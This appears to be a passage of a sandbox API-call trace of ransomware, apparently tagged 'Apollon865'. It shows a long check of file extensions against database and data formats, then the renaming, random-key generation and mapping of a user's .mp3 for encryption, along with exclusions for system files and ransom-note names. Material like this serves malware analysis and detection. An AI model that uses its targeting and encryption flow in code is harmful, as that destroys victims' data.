	[0087.837] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.837] lstrlenW (lpString="avhd") returned 4
	[0087.837] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.837] lstrlenW (lpString="db") returned 2
	[0087.837] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.837] lstrlenW (lpString="db2") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.837] lstrlenW (lpString="db3") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.837] lstrlenW (lpString="dbf") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.837] lstrlenW (lpString="mdf") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.837] lstrlenW (lpString="mdb") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.837] lstrlenW (lpString="sql") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.837] lstrlenW (lpString="sqlite") returned 6
	[0087.837] lstrcmpiW (lpString1="EM.mp3", lpString2="sqlite") returned -1
	[0087.837] lstrlenW (lpString="sqlite3") returned 7
	[0087.837] lstrcmpiW (lpString1="4EM.mp3", lpString2="sqlite3") returned -1
	[0087.837] lstrlenW (lpString="sqlitedb") returned 8
	[0087.838] lstrcmpiW (lpString1="b4EM.mp3", lpString2="sqlitedb") returned -1
	[0087.838] lstrlenW (lpString="xml") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.838] lstrlenW (lpString="$er") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.838] lstrlenW (lpString="4dd") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.838] lstrlenW (lpString="4dl") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.838] lstrlenW (lpString="^^^") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.838] lstrlenW (lpString="abs") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.838] lstrlenW (lpString="abx") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.838] lstrlenW (lpString="accdb") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accdb") returned 1
	[0087.838] lstrlenW (lpString="accdc") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accdc") returned 1
	[0087.838] lstrlenW (lpString="accde") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accde") returned 1
	[0087.838] lstrlenW (lpString="accdr") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accdr") returned 1
	[0087.838] lstrlenW (lpString="accdt") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accdt") returned 1
	[0087.838] lstrlenW (lpString="accdw") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accdw") returned 1
	[0087.838] lstrlenW (lpString="accft") returned 5
	[0087.838] lstrcmpiW (lpString1="M.mp3", lpString2="accft") returned 1
	[0087.838] lstrlenW (lpString="adb") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.838] lstrlenW (lpString="adb") returned 3
	[0087.838] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.839] lstrlenW (lpString="ade") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.839] lstrlenW (lpString="adf") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.839] lstrlenW (lpString="adn") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.839] lstrlenW (lpString="adp") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.839] lstrlenW (lpString="alf") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.839] lstrlenW (lpString="ask") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.839] lstrlenW (lpString="btr") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.839] lstrlenW (lpString="cat") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.839] lstrlenW (lpString="cdb") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.839] lstrlenW (lpString="ckp") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.839] lstrlenW (lpString="cma") returned 3
	[0087.839] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.839] lstrlenW (lpString="cpd") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.840] lstrlenW (lpString="dacpac") returned 6
	[0087.840] lstrcmpiW (lpString1="EM.mp3", lpString2="dacpac") returned 1
	[0087.840] lstrlenW (lpString="dad") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.840] lstrlenW (lpString="dadiagrams") returned 10
	[0087.840] lstrcmpiW (lpString1="Rkb4EM.mp3", lpString2="dadiagrams") returned 1
	[0087.840] lstrlenW (lpString="daschema") returned 8
	[0087.840] lstrcmpiW (lpString1="b4EM.mp3", lpString2="daschema") returned -1
	[0087.840] lstrlenW (lpString="db-journal") returned 10
	[0087.840] lstrcmpiW (lpString1="Rkb4EM.mp3", lpString2="db-journal") returned 1
	[0087.840] lstrlenW (lpString="db-shm") returned 6
	[0087.840] lstrcmpiW (lpString1="EM.mp3", lpString2="db-shm") returned 1
	[0087.840] lstrlenW (lpString="db-wal") returned 6
	[0087.840] lstrcmpiW (lpString1="EM.mp3", lpString2="db-wal") returned 1
	[0087.840] lstrlenW (lpString="dbc") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.840] lstrlenW (lpString="dbs") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.840] lstrlenW (lpString="dbt") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.840] lstrlenW (lpString="dbv") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.840] lstrlenW (lpString="dbx") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.840] lstrlenW (lpString="dcb") returned 3
	[0087.840] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.840] lstrlenW (lpString="dct") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.841] lstrlenW (lpString="dcx") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.841] lstrlenW (lpString="ddl") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.841] lstrlenW (lpString="dlis") returned 4
	[0087.841] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.841] lstrlenW (lpString="dp1") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.841] lstrlenW (lpString="dqy") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.841] lstrlenW (lpString="dsk") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.841] lstrlenW (lpString="dsn") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0087.841] lstrlenW (lpString="dtsx") returned 4
	[0087.841] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.841] lstrlenW (lpString="dxl") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.841] lstrlenW (lpString="eco") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.841] lstrlenW (lpString="ecx") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.841] lstrlenW (lpString="edb") returned 3
	[0087.841] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.841] lstrlenW (lpString="epim") returned 4
	[0087.841] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.842] lstrlenW (lpString="fcd") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.842] lstrlenW (lpString="fdb") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.842] lstrlenW (lpString="fic") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.842] lstrlenW (lpString="flexolibrary") returned 12
	[0087.842] lstrlenW (lpString="fm5") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.842] lstrlenW (lpString="fmp") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.842] lstrlenW (lpString="fmp12") returned 5
	[0087.842] lstrcmpiW (lpString1="M.mp3", lpString2="fmp12") returned 1
	[0087.842] lstrlenW (lpString="fmpsl") returned 5
	[0087.842] lstrcmpiW (lpString1="M.mp3", lpString2="fmpsl") returned 1
	[0087.842] lstrlenW (lpString="fol") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.842] lstrlenW (lpString="fp3") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.842] lstrlenW (lpString="fp4") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.842] lstrlenW (lpString="fp5") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.842] lstrlenW (lpString="fp7") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.842] lstrlenW (lpString="fpt") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.842] lstrlenW (lpString="frm") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.842] lstrlenW (lpString="gdb") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.842] lstrlenW (lpString="gdb") returned 3
	[0087.842] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.842] lstrlenW (lpString="grdb") returned 4
	[0087.842] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.842] lstrlenW (lpString="gwi") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.843] lstrlenW (lpString="hdb") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.843] lstrlenW (lpString="his") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.843] lstrlenW (lpString="ib") returned 2
	[0087.843] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.843] lstrlenW (lpString="idb") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.843] lstrlenW (lpString="ihx") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.843] lstrlenW (lpString="itdb") returned 4
	[0087.843] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.843] lstrlenW (lpString="itw") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.843] lstrlenW (lpString="jet") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.843] lstrlenW (lpString="jtx") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.843] lstrlenW (lpString="kdb") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.843] lstrlenW (lpString="kexi") returned 4
	[0087.843] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.843] lstrlenW (lpString="kexic") returned 5
	[0087.843] lstrcmpiW (lpString1="M.mp3", lpString2="kexic") returned 1
	[0087.843] lstrlenW (lpString="kexis") returned 5
	[0087.843] lstrcmpiW (lpString1="M.mp3", lpString2="kexis") returned 1
	[0087.843] lstrlenW (lpString="lgc") returned 3
	[0087.843] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.844] lstrlenW (lpString="lwx") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.844] lstrlenW (lpString="maf") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.844] lstrlenW (lpString="maq") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.844] lstrlenW (lpString="mar") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.844] lstrlenW (lpString="marshal") returned 7
	[0087.844] lstrcmpiW (lpString1="4EM.mp3", lpString2="marshal") returned -1
	[0087.844] lstrlenW (lpString="mas") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.844] lstrlenW (lpString="mav") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.844] lstrlenW (lpString="maw") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.844] lstrlenW (lpString="mdbhtml") returned 7
	[0087.844] lstrcmpiW (lpString1="4EM.mp3", lpString2="mdbhtml") returned -1
	[0087.844] lstrlenW (lpString="mdn") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.844] lstrlenW (lpString="mdt") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.844] lstrlenW (lpString="mfd") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.844] lstrlenW (lpString="mpd") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.844] lstrlenW (lpString="mrg") returned 3
	[0087.844] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.845] lstrlenW (lpString="mud") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.845] lstrlenW (lpString="mwb") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.845] lstrlenW (lpString="myd") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.845] lstrlenW (lpString="ndf") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.845] lstrlenW (lpString="nnt") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.845] lstrlenW (lpString="nrmlib") returned 6
	[0087.845] lstrcmpiW (lpString1="EM.mp3", lpString2="nrmlib") returned -1
	[0087.845] lstrlenW (lpString="ns2") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.845] lstrlenW (lpString="ns3") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.845] lstrlenW (lpString="ns4") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.845] lstrlenW (lpString="nsf") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.845] lstrlenW (lpString="nv") returned 2
	[0087.845] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.845] lstrlenW (lpString="nv2") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.845] lstrlenW (lpString="nwdb") returned 4
	[0087.845] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.845] lstrlenW (lpString="nyf") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.845] lstrlenW (lpString="odb") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.845] lstrlenW (lpString="odb") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.845] lstrlenW (lpString="oqy") returned 3
	[0087.845] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.845] lstrlenW (lpString="ora") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.846] lstrlenW (lpString="orx") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.846] lstrlenW (lpString="owc") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.846] lstrlenW (lpString="p96") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.846] lstrlenW (lpString="p97") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.846] lstrlenW (lpString="pan") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.846] lstrlenW (lpString="pdb") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.846] lstrlenW (lpString="pdm") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.846] lstrlenW (lpString="pnz") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.846] lstrlenW (lpString="qry") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.846] lstrlenW (lpString="qvd") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.846] lstrlenW (lpString="rbf") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.846] lstrlenW (lpString="rctd") returned 4
	[0087.846] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.846] lstrlenW (lpString="rod") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.846] lstrlenW (lpString="rodx") returned 4
	[0087.846] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.846] lstrlenW (lpString="rpd") returned 3
	[0087.846] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.847] lstrlenW (lpString="rsd") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.847] lstrlenW (lpString="sas7bdat") returned 8
	[0087.847] lstrcmpiW (lpString1="b4EM.mp3", lpString2="sas7bdat") returned -1
	[0087.847] lstrlenW (lpString="sbf") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.847] lstrlenW (lpString="scx") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.847] lstrlenW (lpString="sdb") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.847] lstrlenW (lpString="sdc") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.847] lstrlenW (lpString="sdf") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.847] lstrlenW (lpString="sis") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.847] lstrlenW (lpString="spq") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.847] lstrlenW (lpString="te") returned 2
	[0087.847] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.847] lstrlenW (lpString="teacher") returned 7
	[0087.847] lstrcmpiW (lpString1="4EM.mp3", lpString2="teacher") returned -1
	[0087.847] lstrlenW (lpString="tmd") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.847] lstrlenW (lpString="tps") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.847] lstrlenW (lpString="trc") returned 3
	[0087.847] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.848] lstrlenW (lpString="trc") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.848] lstrlenW (lpString="trm") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.848] lstrlenW (lpString="udb") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.848] lstrlenW (lpString="udl") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.848] lstrlenW (lpString="usr") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.848] lstrlenW (lpString="v12") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.848] lstrlenW (lpString="vis") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.848] lstrlenW (lpString="vpd") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.848] lstrlenW (lpString="vvv") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.848] lstrlenW (lpString="wdb") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.848] lstrlenW (lpString="wmdb") returned 4
	[0087.848] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.848] lstrlenW (lpString="wrk") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.848] lstrlenW (lpString="xdb") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.848] lstrlenW (lpString="xld") returned 3
	[0087.848] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.848] lstrlenW (lpString="xmlff") returned 5
	[0087.848] lstrcmpiW (lpString1="M.mp3", lpString2="xmlff") returned -1
	[0087.848] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\rRkb4EM.mp3.Apollon865") returned 68
	[0087.848] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\rRkb4EM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rrkb4em.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\rRkb4EM.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rrkb4em.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\rRkb4EM.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rrkb4em.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.851] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=68216) returned 1
	[0087.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.852] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.852] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.853] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.853] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d80, lpName=0x0) returned 0x15c
	[0087.853] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d80) returned 0x120000
	[0087.856] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0087.856] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.856] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.857] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.858] CloseHandle (hObject=0x15c) returned 1
	[0087.858] CloseHandle (hObject=0x9c) returned 1
	[0087.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.860] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db8caf0, ftCreationTime.dwHighDateTime=0x1d4d515, ftLastAccessTime.dwLowDateTime=0x6eb553b0, ftLastAccessTime.dwHighDateTime=0x1d4c708, ftLastWriteTime.dwLowDateTime=0x6eb553b0, ftLastWriteTime.dwHighDateTime=0x1d4c708, nFileSizeHigh=0x0, nFileSizeLow=0x157df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RsYZLr9JFlIoDGbuOa6.m4a", cAlternateFileName="RSYZLR~1.M4A")) returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2=".") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="..") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="windows") returned -1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="bootmgr") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="temp") returned -1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="pagefile.sys") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="boot") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="ids.txt") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="ntuser.dat") returned 1
